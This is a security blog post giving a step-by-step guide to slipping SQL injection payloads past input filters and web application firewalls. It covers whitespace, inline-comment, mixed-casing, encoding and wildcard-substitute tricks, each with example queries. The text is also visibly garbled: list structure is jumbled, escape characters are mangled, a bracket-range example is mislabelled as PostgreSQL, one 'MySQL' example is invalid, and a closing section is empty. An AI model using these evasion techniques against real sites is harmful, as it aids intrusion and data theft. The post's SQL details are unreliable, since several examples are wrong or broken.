Blog | G5 Cyber Security

Bypassing SQL Injection Filters

TL;DR

SQL injection filters often block obvious attempts to inject malicious code. This guide shows how to bypass common whitespace and wildcard (*) filtering techniques used in web application firewalls (WAFs) and input validation.

Bypassing SQL Injection Filters: A Step-by-Step Guide

  1. Understand the Filter
  2. Before attempting a bypass, try to understand what the filter is blocking. Common techniques include:

Use simple test payloads to identify the filter’s behaviour.

  • Whitespace Bypass Techniques
  • Filters often remove single spaces, but may not handle multiple spaces, tabs, newlines, or comments effectively.

    SELECT   name FROM users WHERE id = 1
  • Tabs and Newlines: Use tab characters (t) or newlines (%0a or n).
  • SELECT	table_name FROM information_schema.tables
  • Comments: Use SQL comments to break up keywords and bypass filtering. Common comment styles include:
    • -- (double dash): Comments out the rest of the line.
    • /* ... */: Multi-line comment.
    • #: Comment (often used in MySQL).
    SELECT /*!30001*/ name FROM users WHERE id = 1; -- Comment
  • Mixed Whitespace and Comments: Combine techniques for greater effectiveness.
  • SELECT  /* comment */ name FROM users WHERE id=1-- rest of query
  • Wildcard (*) Bypass Techniques
  • Filters often block the wildcard character (*). Try these alternatives:

    SELECT name FROM users WHERE username LIKE 'a%' + 'b%'; -- MySQL example
  • Character Ranges: Use character ranges to achieve a similar effect as wildcards.
  • SELECT name FROM users WHERE username LIKE '[a-z]%'; -- PostgreSQL example
  • Substrings: Use substring functions if available in the database.
  • SELECT SUBSTRING(name, 1, LENGTH(name)) FROM users; -- Generic SQL example
  • Case Sensitivity Bypass
  • Some filters are case-sensitive. Try different casing combinations.

    SeLeCt NaMe FrOm UsErS
  • Encoding Bypass
  • URL encoding can sometimes bypass filters.

    http://example.com/page?param=SELECT%20name%20FROM%20users
  • Database-Specific Techniques
  • Different databases have different functions and syntax that can be exploited.

    SELECT /*!50000UNION*/ SELECT name FROM users;
  • PostgreSQL: Use double quotes for identifiers and string concatenation (||).
  • SELECT "name" FROM users WHERE id = 1;
  • Important Considerations
  • Exit mobile version